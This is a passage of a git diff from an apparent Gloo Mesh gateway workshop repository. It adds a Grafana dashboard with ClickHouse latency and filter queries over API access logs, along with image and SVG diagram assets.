+ "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p75" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p90" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p95" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p99" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p999" + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + } + ], + "repeat": "api_id", + "repeatDirection": "h", + "title": "API '$api_id' Stats", + "type": "row" + } + ], + "refresh": "", + "schemaVersion": 38, + "style": "dark", + "tags": [], + "templating": { + "list": [ + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "description": "Api ID", + "hide": 0, + "includeAll": true, + "label": "Api ID", + "multi": true, + "name": "api_id", + "options": [], + "query": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "gold" + ], + "value": [ + "gold" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "description": "Usage Plan", + "hide": 0, + "includeAll": true, + "label": "Usage Plan", + "multi": true, + "name": "usage_plan", + "options": [], + "query": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "description": "Request path", + "hide": 0, + "includeAll": true, + "label": "Request URI", + "multi": true, + "name": "request_uri", + "options": [], + "query": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "HTTP Method", + "multi": true, + "name": "http_method", + "options": [], + "query": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 0, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "Status Code", + "multi": true, + "name": "status_code", + "options": [], + "query": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "All", + "current": { + "selected": false, + "text": "All", + "value": "$__all" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "hide": 0, + "includeAll": true, + "label": "User ID", + "multi": false, + "name": "user_id", + "options": [], + "query": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": false, + "text": "", + "value": "" + }, + "hide": 0, + "label": "Filter Users", + "name": "filter_users", + "options": [ + { + "selected": true, + "text": "", + "value": "" + } + ], + "query": "", + "skipUrlSync": false, + "type": "textbox" + } + ] + }, + "time": { + "from": "now-1h", + "to": "now" + }, + "timepicker": {}, + "timezone": "", + "title": "API Dashboard", + "uid": "db93be88-8cd4-4c32-8a37-83fbca40e3f0", + "version": 1, + "weekStart": "" + } \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/.gitkeep b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-gateway.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-gateway.png new file mode 100644 index 0000000000..71255deb29 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-gateway.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-mesh-enterprise.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-mesh-enterprise.png new file mode 100644 index 0000000000..a14bc9e23f Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-mesh-enterprise.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-mesh-graph.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-mesh-graph.png new file mode 100644 index 0000000000..e17c49c138 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-mesh-graph.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-products.png b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-products.png new file mode 100644 index 0000000000..f45b1660b9 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/gloo-products.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7